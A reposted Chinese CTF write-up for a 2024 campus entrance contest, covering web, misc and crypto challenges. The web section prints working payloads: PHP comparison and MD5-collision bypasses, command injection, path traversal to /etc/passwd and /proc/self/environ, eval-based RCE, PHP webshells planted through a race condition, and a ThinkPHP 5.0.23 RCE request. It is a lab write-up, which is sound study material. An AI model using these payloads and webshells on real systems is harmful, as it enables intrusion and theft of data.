2024秋季云曦开学考

news2024/11/19 3:41:23

web

ezezssrf

打开环境,代码审计

看起来有点多,要绕过五层

第一层:存在==弱比较,使用数组或0e绕过

yunxi[]=1&wlgf[]=2
yunxi=s878926199a&wlgf=s155964671a

第二层:存在===强比较,此处使用string限制参数为字符串型,不能使用数组绕过。可使用两个MD5值完全相同的字符绕过

yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&
wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第三层:变量$GLG开头包含字符串 http://blog.csdn.net

if (strpos($GLG, 'http://blog.csdn.net') !== 0)
strpos 函数用于查找字符串 'http://blog.csdn.net' 在变量 $GLG 中的位置。
如果该字符串不在 $ GLG 的开头(即位置为0),则执行 die 函数终止脚本执行,并输出提示信息。

第四层:同样的使用了strpos 函数查找包含在$GLG中的变量$csdn里的中文“师姐,... ...”,可使用HTTP 基本身份认证绕过

GLG=http://blog.csdn.net@127.0.0.1

第五层:shell_exec()函数使页面无回显,使用>或tee命令将想要进行的命令执行存入1.txt文件,之后再访问1.txt文件即可。

cmd=cat /flag | tee 1.txt

最终payload:

yunxi=s878926199a&wlgf=s155964671a&yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&GLG=http://blog.csdn.net@127.0.0.1&cmd=cat /flag | tee 1.txt

知识点:

md5弱比较(==),强比较(===)

md5强比较&弱比较-CSDN博客

弱比较:只比较值,不比较类型

强比较:比较值,也比较类型

  • a==b   将a,b的值转换成同类型再比较值
  • a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false

 弱比较(==)绕过:

1.数组绕过:md5不能加密数组 ,如 a[]=1 , b[]=1 , 传入数组会报错,但会继续执行并且返回结果为null。

2.0e绕过:以0e开头的数会被认为是科学计数法,0e+任何数 在科学计数法中都是0,故两数相等。

0e开头的md5和原值:
QNKCDZO:0e830400451993494058024219903391
240610708:0e462097431906509019562988736854
s878926199a:0e545993274517709034328855841020
s155964671a:0e342768416822451524974117254469

强比较(===)绕过:

1.数组绕过

2.md5值完全相同的字符绕过

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

万能通式ffifdyop 绕过:

or 对应的16进制:276f7227 

ffifdyop字符串,MD5加密后会变成276f7227 36c95d99e921722cf9ed621c

字符串前几位刚好是 ‘ or ‘6

select * from 'admin' where password=md5($pass,true)
输入md5('ffifdyop',true)绕过

HTTP 基本身份认证绕过SSRF:

CTFHUB技能树——SSRF绕过

HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
即    http://www.xxx.com@www.yyy.com形式

shell_exec()函数:

shell_exec()函数会让页面无回显

linux中 “tee” 是从标准输入读取,再写入标准输出和文件

在PHP中  ">"  是表示把什么写入什么文件的意思。

无回显,那就把它写进一个文件,然后访问这个文件即可

?cmd=ls /|tee 1.txt

?cmd= c''at \f*** |tee 1.txt(写进1.txt文件里)

windows系统命令拼接方式

|:直接执行后面的语句。
||:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假。
&:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
&&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

小小py

此题要买flag,但是钱不够

直接购买提示金额不足:

发现右下角提示 *click to download our sweet images*  点击图片能够下载,使用bp抓包  发现图片的下载路径。

/download?image=2.jpg

下载地址可能存在任意文件下载漏洞:

尝试利用路径查看文件,发现不能直接回显。于是用目录穿越查看一下 /etc/passwd 回显成功

/download?image=../../etc/passwd

// etc/passwd 文件包含了系统上所有用户的信息

尝试访问Python环境变量:得到flag

/download?image=../../proc/self/environ

// proc/self  其路径指向当前进程
// environ    记录当前进程的环境变量信息

学习高数

打开环境就问你喜不喜欢高数~

提示说有1万个页面

使用bp抓包爆一下页面,设置数字从1到10000,找到index8887.html的特殊界面

cvFXZohgjf看起来像一个文件,尝试访问 cvFXZohgjf.php,代码审计 需绕过三层

$content = $_GET['GS'];    //将$_GET['GS']的值赋给$ content
    if (strlen($content) >= 60) {
        die("不是哥们");     
}
//检查$content的长度是否小于60,如果大于等于60,程序终止并显示"不是哥们"。
// 定义一个黑名单数组$blacklist
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
//遍历$blacklist
//使用正则表达式检查$content中是否包含黑名单中的字符,如果包含,程序终止并显示"新号别搞"。
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("新号别搞");
        }
    }
// 定义一个白名单数组$whitelist,包含了允许在$content中使用的数学函数名称
$whitelist = ['abs', 'acos', 'acosh', 'asin',... ...];
// 使用正则表达式从$content中提取所有函数名称,存储在$used_funcs数组中。
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
// 使用正则表达式从$content中提取所有函数名称,存储在$used_funcs数组中。
// 遍历$used_funcs,检查其中的函数名是否都在$whitelist中,如果不在,程序终止并显示"虾啊"。
foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("虾啊");
        }
    }
eval('echo '.$content.';'); //使用eval函数,将$content中的内容安全地执行并输出

二次传参RCE

第一层:有长度小于60限制,可使用二次传参RCE的方式绕过

?GS=eval($_GET[1]);&1=system('ls');

第二层:但是过滤了很多字符,[ ] 可用{ } 绕过

?GS=$_GET{};$_GET{0}($_GET{1})&0=system&1=ls

//?GS=$_GET{};         定义一个变量GS,其值为一个空数组
//$_GET{0}($ _GET{1})  尝试调用$_GET数组中的第一个元素作为函数,并将第二个元素作为参数传递给它
//&0=system 和 &1=ls   URL参数,分别被设计为0和1索引的值(命令执行)

异或构造所需字符

第三层:还要检测函数名是否都在$whitelist中

没有禁用 ^ 符号,于是可以通过异或构造想要的$whitelist中的字母

// 使用脚本利用白名单里的函数生成可用字符
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "\n";
        }
    }
}

将得到的结果保存到记事本中,搜索需要构造的字符

对应字符       异或结果
_G            is_nan^(6).(4)
ET            tan^(1).(5)

$GS=_GET ————> $GS=(is_nan^(6).(4)).(tan^(1).(5))

直接将上面的3个 _GET 改为 is_nan^(6).(4)).(tan^(1).(5) ,发现太长了~

可以将 _GET 赋值给参数$pi,就只用改1个_GET

(正常来说可随意使用题中所给数学函数作为参数,但是这里限制60的字符长度,有三个字母的函数用了还是会超出)

最终payload:

?GS=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag

//$pi=$$pi; 这里使用了变量变量(variable variable),将$pi的值(即_GET)作为变量名,然后将_GET数组赋值给$pi。

得到flag(此处环境有点小问题,但是最终结果如下)

你能跟上我的speed吗

随便传一个文件,都是返回一张图片,根据题目的speed可以猜测为文件上传的条件竞争。

于是上传一句话木马文件,使用bp抓包爆破

<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[111]);?>');fclose($op);echo(111) ?>

抓包上传文件的请求

抓包访问上传文件的路径(题目提示路径为./uploads)

不需要设置参数,payload type都设为null payloads,payload setting选择Continue indefinitely(无限循环抓包)

两边同时爆破,将文件上传路径页面回显111的页面发送到repeater,改1.php为shell.php,能访问成功

连接蚁剑得到flag

文件上传之条件竞争

文件上传之条件竞争

什么是条件竞争?

在上传文件源代码里面有校验上传的文件,文件直接上传,上传成功后才进行判断;

如果文件格式符合的情况下,则重命名,如果文件格式不符合要求,就将文件删除。


由于服务器并发处(同时)理多个请求,假如a用户上传了一个文件,b用户访问a用户的文件就会出现以下三种情况:
1.访问时间点在上传文件之前,没有此文件
2.访问时间在上传文件之后,且服务器还未将其删除,文件存在
3.访问时间点在服务器删除文件之后,文件不存在

注意:

使用bp

payload type 选择 null payloads
Payload options 选择 Continue indefinitely(无限循环抓包)

一句话木马:

<?php
$op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[111]);?>');fclose($op);echo(333)
?>
//fopen(...)打开(或创建)名为'shell.php'的文件,并以写入模式(fwrite)进行操作。
//fputs(...):此函数将数据写入由fopen打开的文件。数据是作为字符串提供的。
//<?php eval($_POST[111]); ?>简单的php一句话木马,写入shell.php文件中。
//fclose($op)关闭文件。
//输出数字111,作为一种执行成功的标记。

真正的hacker!(flag1)(flag2)

打开环境是一个ThinkPHP页面

使用ThinkphpGUI工具扫描,发现存在5.0.23版本的rce漏洞

根据扫描出的payload读取flag1

GET传参:?s=captcha&test=-1
POST传参:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag1

访问后给了一个提示“命令执行只能得到flag1,真正的渗透大师热衷于getshell”,说明flag2需要getshell才能得到。

选择漏洞版本后并不能直接getshell

可以进行命令执行

whoami:操作系统中用于查看当前有效用户名的命令

pwd 查看当前路径
ls  查看上传路径

故可利用一句话木马进行命令执行,将一句话木马文件1.php上传到/var/www/public/uploads/路径下

echo '<?php eval($_POST[cmd]); ?>' > var/www/public/uploads/1.php
// 此处上传该木马,蚁剑连接不成功,应该有过滤

// 木马写入错了用rm uploads/1.php 删除文件后重新写入

echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" |base64 -d > /var/www/public/uploads/1.php
// 使用base64编码木马后再上传
// base64 -d 是一个命令行指令,用于对Base64编码的数据进行解码

使用蚁剑连接成功,得到flag2

Misc

misc大杂烩

解压后打开PPT,提示有6部分flag,考点简单,但是脑洞太大,所以也说没有思路就不用硬耗时间

考点一:盲水印

保存第二页的图片,使用工具分析吾爱破解WaterMark下载,得到flag1{hdy12-

 

考点二:word隐藏文字

打开是一个word文档

选中全文,点击字体,打开“字体”对话框。在“字体”对话框中,将“效果”栏下的【隐藏】取消勾选,然后点击确定,这样文档中隐藏的文字就全部取消隐藏状态并显示出来了。

得到flag2{1yhgzc5-

考点三:base64转图片

解压后使用010editor打开,发现base64编码转为图片,得到一个二维码

Base64转换图片工具

在线二维码解码器 ,解码得到 flag3{Ypt0a2-

考点四: Deepsound音频隐写

在音频文件里面,写入了其它的文件,比如flag.txt,也可以是图片等等,此时可以用deepsound进行解密。

 将考点4.wav文件放入Deepsound解密,提取1.txt文件得到  flag4{ghj8-

考点五:zip掩码爆破,埃特巴什码解密

有一个压缩包,解压时发现想要密码

根据提示可推测密码形式为 197.157.xx.xx 或 197.157.xxx.xxx

使用掩码爆破,得到解压密码197.157.76.98

解压成功后得到 uozt5{7ftzp-,再进行埃特巴什码解密得  flag5{7ugak-

Zip密码爆破

爆破:逐个尝试所有密码,直到遇到正确密码

字典:字典攻击的效率比爆破稍高,因为字典中存储了常用的密码,因此就避免了爆破时把时间浪费在无用的密码上。

掩码攻击:如果已知密码的某几位,如已知8位密码的第4位是Z,那么可以构造XXXZXXXX进行掩码攻击,掩码攻击的原理相当于构造了第4位为Z的字典,攻击效率也比逐个尝试的爆破方式高。

考点六: 文件16进制颠倒

使用010editor打开附件,可看见一个明显的PK头,但是被倒置了

使用python脚本给它倒回来,使用010打开就正常了

with open('原文件路径','rb') as f:           #倒置前
   with open('修改后文件路径','wb') as g:       #倒置后
      g.write(f.read()[::-1])


修改后缀为.zip,解压后得到图片及 flag6: 78uiag}

最终flag: Yunxi{hdy12-1yhgzc5-Ypt0a2-ghj8-7ugak-78uiag}

MISC1

下载附件后使用wireshark打开,发现有一短两长的规律

不改变当前顺序,发现短的最后一个字符拼接起来刚好是flag

flag{7823yed-3892hu-7euiwb-euwidbh82-7ueidw}

MISC2

解压得到一张损坏的图片

使用010editor分析,发现被倒转了

使用python脚本倒置

// 路径中包含特殊字符,使用原始字符串(前缀r)
with open(r'E:\yunlabs\4-digit.png','rb') as f:           #倒置前
   with open(r'E:\yunlabs\4-digit1.png','wb') as g:       #倒置后
      g.write(f.read()[::-1])

倒置后的4-digit1.png依然是破损的

在后面修复图片时,发现并不需要倒置回来~

使用脚本修复图片,得到一张图片

(这里是对图片4-digit.png进行修复,得到的结果)

def restore_file(input_file, output_file):
    # 读取文件内容
    with open(input_file, 'rb') as f:
        data = f.read()
    
    restored_data = bytearray()
    
    # 每4个字节为一组
    for i in range(0, len(data), 4):
        # 取出4个字节并倒转顺序
        restored_data.extend(data[i:i+4][::-1])
    
    # 将恢复后的数据写入输出文件
    with open(output_file, 'wb') as f:
        f.write(restored_data)

# 输入和输出文件路径
input_file = r'E:\yunlabs\4-digit.png'
output_file = r'E:\yunlabs\4-digit2.png'

# 调用函数进行文件恢复
restore_file(input_file, output_file)

... ...

明天再看

mics-Make Png Great Again——CVE-2023-28303(截图修复)_windows10教育版激活密钥-CSDN博客

 

Crypto

mmmd5

下载附件后发现有很多MD5值

最直接的方法,使用在线网站一个一个解得flag

MD5免费在线解密破解_MD5在线加密-SOMD5

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2132796.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

c++(继承、模板进阶)

一、模板进阶 1、非类型模板参数 模板参数分类类型形参与非类型形参。 类型形参即&#xff1a;出现在模板参数列表中&#xff0c;跟在class或者typename之类的参数类型名称。 非类型形参&#xff0c;就是用一个常量作为类(函数)模板的一个参数&#xff0c;在类(函数)模板中…

装饰器模式decorator

学习笔记&#xff0c;原文链接 https://refactoringguru.cn/design-patterns/decorator 将对象放入包含行为的特殊封装对象中来为原对象绑定新的行为 调用过程 当你调用 encoded.writeData(salaryRecords); 时&#xff0c;控制流首先进入 CompressionDecorator 的 writeData …

微信小程序原生支持TS、LESS、SASS能力探究

文章目录 原生支持开始使用旧项目新建项目TS声明文件更新 功能说明less 使用全局变量sass 使用全局变量 可以参考原文 在之前开发小程序中&#xff0c;无法使用 less/sass 等 css 预编译语言&#xff0c;也无法使用 TS 进行开发&#xff0c;但在最新的编辑器版本中&#xff0c…

面向对象程序设计之模板进阶(C++)

在之前我出过一篇博客介绍了模版的初阶:面向对象程序设计(C)模版初阶&#xff0c;接下来我们将进行模版的进阶学习&#xff0c;介绍关于更多模版的知识 1.非类型模版参数 模板参数分类类型形参与非类型形参 类型形参即&#xff1a;出现在模板参数列表中&#xff0c;跟在class或…

如何处理DDOS攻击问题

随着信息技术的飞速发展&#xff0c;网络已成为现代社会不可或缺的一部分&#xff0c;极大地便利了个人社交和商业活动。然而&#xff0c;网络空间在创造无限机遇的同时&#xff0c;也潜藏着诸多威胁&#xff0c;其中分布式拒绝服务攻击&#xff08;DDoS&#xff0c;Distribute…

利用Idea远程调试

注意&#xff1a;远程调试不要应用在正式环境中&#xff0c;即便是测试环境也只建议在开发网段使用 在实际的开发过程中&#xff0c;为了验证测试环境的一些问题&#xff0c;且问题在本地不可复现&#xff0c;可以使用远程debug的形式来进行问题定位&#xff0c;而不用循环进行…

如何使用智能合约铸造 NFT —— 以 NftMarket 合约为例

系列文章目录 使用Pinata在IPFS上存储NFT图片的实践&#x1f6aa; scaffold-eth-2使用详细教程&#x1f6aa; 文章目录 系列文章目录前言一、使用到的 OpenZeppelin 库1.1. ERC721 合约1.2. ERC721URIStorage 合约1.3. Counters 合约 二、编写合约代码2.1. 准备NFT元数据2.2. …

【重学 MySQL】二十七、七种 join 连接

【重学 MySQL】二十七、七种 join 连接 union 的使用UNION 的基本用法示例UNION ALL 的用法 七种 join 连接代码实现语法格式小结 union 的使用 UNION 在 SQL 中用于合并两个或多个 SELECT 语句的结果集&#xff0c;并默认去除重复的行。如果希望包含重复行&#xff0c;可以使…

设计模式-行为型模式-访问者模式

访问者模式难以实现&#xff0c;且应用该模式可能会导致代码可读性变差&#xff0c;可维护性变差&#xff0c;除非必要&#xff0c;不建议使用&#xff1b; 1.访问者模式定义 允许在运行时将一个或多个操作应用于一组对象&#xff0c;将操作与对象结构分离&#xff1b; 访问者…

K8s1.28 部署Dashboard获取登录信息

Kubernetes Dashboard 是一个基于 Web 的用户界面&#xff0c;用户可以通过它管理和监控 Kubernetes 集群。它提供了对容器化应用程序的概览、集群资源的状态查看、以及对服务和容器的简单操作管理。 配置 Dashboard 访问的方式&#xff1a; Kubernetes 中的服务类型默认是 C…

语音识别相关概念

声音如何保存成数字信号&#xff1f; 声音是听觉对声波产生的感知&#xff0c;而声波是一种在时间和振幅上连续的模拟量&#xff0c;本质是介质的振动&#xff0c;&#xff0c;比如空气的振动。那么只需要把这个振动信号记录下来&#xff0c;并用一串数字来表达振动信号振动的…

中学生考试成绩在线查询系统

时代在发展&#xff0c;社会在进步&#xff0c;传统的成绩发布方式已经显得力不从心了。老师们&#xff0c;是时候尝试一种更高效、更安全的成绩查询方式了。 还在为如何保护学生隐私而头疼&#xff1f;还在担心成绩的公平性和准确性&#xff1f;易查分小程序将这些这些问题都将…

vue+IntersectionObserver + scrollIntoView 实现电梯导航

一、电梯导航 电梯导航也被称为锚点导航&#xff0c;当点击锚点元素时&#xff0c;页面内相应标记的元素滚动到视口。而且页面内元素滚动时相应锚点也会高亮。电梯导航一般把锚点放在左右两侧&#xff0c;类似电梯一样。 二、scrollIntoView() 介绍 scrollIntoView() 方法会…

加密软件有哪些数据防护功能?

1.文件透明加密&#xff1a;采用透明加密技术&#xff0c;自动对指定类型的敏感文件进行实时加密&#xff0c;确保数据在存储和传输过程中的安全性。 2.权限管理与访问控制&#xff1a;通过细粒度的权限管理&#xff0c;控制员工对敏感数据的访问权限&#xff0c;包括读取、修…

基于SpringBoot+Vue的预制菜平台系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 【2025最新】基于JavaSpringBootVueMySQL的…

蓝桥杯真题——数星星

输入样例&#xff1a; 5 1 1 5 1 7 1 3 3 5 5 输出样例&#xff1a; 1 2 1 1 0 分析&#xff1a; 根据题目&#xff0c;是逐行读入数据&#xff0c;我们要求每颗星星左下方的星星数量&#xff0c;就是要迅速求一个区间内的值 于是我们联想到树状数组来解决问题 代码演示…

商业银行零售业务数智运营探索与应用

一、商业银行零售业务面临新形势 根据国家金融监督管理总局近期发布的数据,2024年一季度商业银行净息差降至1.54%,较2023年四季度的1.69%下降15个基点。在当前经营环境复杂、客户投资预期降低等多重因素的叠加作用下,商业银行经营压力日益加大。与此同时,随着数字化转型的不…

【技术调研】三维(3)-ThreeJs-几何体、材质、贴图、灯光及案例

几何体 ​ 几何体是构建模型的基础,模型=几何体+材质。threejs中已内置了很多几何体。这里不一一介绍。 BufferGeometry 是面片、线或点几何体的有效表述。包括顶点位置,面片索引、法相量、颜色值、UV 坐标和自定义缓存属性值。使用 BufferGeometry 可以有效减少向 GPU 传输…

代码随想录训练营Day3 | 链表理论基础 | 203.移除链表元素 | 707.设计链表 | 206.反转链表

今天任务&#xff1a;学习链表理论基础 链表的类型 链表的存储方式 链表的定义…

基于SpringBoot+Vue+MySQL的招聘管理系统

系统展示 用户前台界面 管理员后台界面 企业后台界面 系统背景 在当今数字化转型的大潮中&#xff0c;企业对于高效、智能化的人力资源管理系统的需求日益增长。招聘作为人力资源管理的首要环节&#xff0c;其效率与效果直接影响到企业的人才储备与竞争力。因此&#xff0c;构建…